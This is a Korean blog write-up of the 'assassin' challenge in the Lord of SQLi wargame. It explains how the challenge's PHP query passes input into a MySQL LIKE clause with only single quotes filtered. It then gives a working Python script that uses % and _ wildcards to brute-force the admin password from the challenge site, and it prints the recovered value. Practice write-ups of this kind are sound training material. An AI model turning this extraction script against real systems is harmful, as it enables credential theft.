티스토리 뷰
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
pw 파라미터에 대한 필터링으로는 '(작은따옴표)만 막고 있습니다.
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
그리고 들어온 pw 파라미터에 대한 query 의 결과로 아이디가 admin 일 경우 문제는 바로 풀린다고 합니다.
우선 문제를 풀기 위해서는 where 절의 like 문에 대해서 알아야 하는데요.
MySQL 은 두 가지 wildcard 문자인 %(퍼센테이지) 와 _(언더바)를 제공하고 있습니다.
- % 는 0개 또는 한 개 이상의 문자를 의미합니다.
- _ 는 한 개의 문자를 의미합니다.
예를 들어서 dom% 이라고 한다면 dom 으로 시작하는 domdomi, domimi, domdoni 들이 이에 해당되겠습니다.
그리고 do_ 라고 한다면 dom, don, doy, dot 들이 해당되겠지요.
(참고로 한 개의 문자를 뜻하는 _(언더바)가 아닌 말그대로 _(언더바) 그 자체를 문자로 쓰고 싶은 경우에는 ESCAPE 문자인 \(백슬래시)나 $(달러) 기호를 쓰면 됩니다)
다시 문제로 돌아가서 관리자의 pw 의 길이부터 구해보면 _(언더바)가 몇개가 들어가는 지로 알 수 있을 것입니다.
select id from prob_assassin where pw like '________';
위와 같이 _(언더바)를 8개 쓰면 Hello guest 라고 나오는 것을 볼 수 있습니다. 8개보다 이하이거나 이상이어도 안되는 것을 보면 prob_assassin 이라는 테이블에 존재하는 계정들은 모두 pw가 8글자인 것으로 보입니다.
다시 말해 guest 와 admin 의 계정의 pw 길이가 8글자로 동일하다는 것이겠습니다.
이제는 실제 admin 계정의 pw 문자열을 구하면 되겠습니다. _(언더바)를 이용해서 문자열을 구할 수도 있겠지만, 저는 %(퍼센테이지) 하나만 이용해서 한번 구해보겠습니다.
원리는 이렇습니다. Hello admin 이라는 문자열이 화면에 출력될 때까지 0~9, a~f 까지 돌려보는 것입니다.
근데 주의할 점은 guest 와 admin 모두 pw 의 첫 글자가 9 로 시작한다면, 어떤 결과가 나올까요? 네, 바로 Hello guest 가 나옵니다. 그 이유는 guest 가 admin 보다 테이블의 더 위쪽에 있기 때문입니다. 그래서 이 부분을 주의해서 코드를 작성해야 합니다.
물론 답은 pw=902% 까지만 입력해도 문제는 풀립니다. 하지만 저는 코드는 admin 의 pw를 전부 구하는 것으로 작성해보았습니다.
import requests
def SQLI():
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?"
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
}
cookies = {
'PHPSESSID':'세션 값'
}
length = 8
result = ""
tmp = ""
# pw 구하기
hexStr = "0123456789abcdef"
for l in range(1, length + 1):
for i in hexStr:
param = "pw="+result+i+"%25"
res = requests.get(url+param, headers=headers, cookies=cookies)
if i == hexStr[-1] and tmp:
result += tmp
tmp = ""
break
if(res.text.find('<h2>Hello admin</h2>') != -1):
result += i
break
elif(res.text.find('<h2>Hello guest</h2>') != -1):
tmp = i
print('[+] Result: ' + result)
if __name__ == '__main__':
SQLI()
# [+] Result: 902efd10
이제 위 코드에서 구한 pw 값을 URL에 입력하고서 전송하면 아래와 같이 문제가 풀립니다.
- 끝 -
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] zombie assassin Writeup/문제풀이 (0) | 2021.09.07 |
---|---|
[Lord of SQLi] succubus Writeup/문제풀이 (0) | 2021.09.07 |
[Hackthebox] - wafwaf Writeup(문제풀이) (0) | 2021.09.06 |
[Lord of SQLi] giant Writeup/문제풀이 (0) | 2021.09.04 |
[Lord of SQLi] bugbear Writeup/문제풀이 (0) | 2021.09.04 |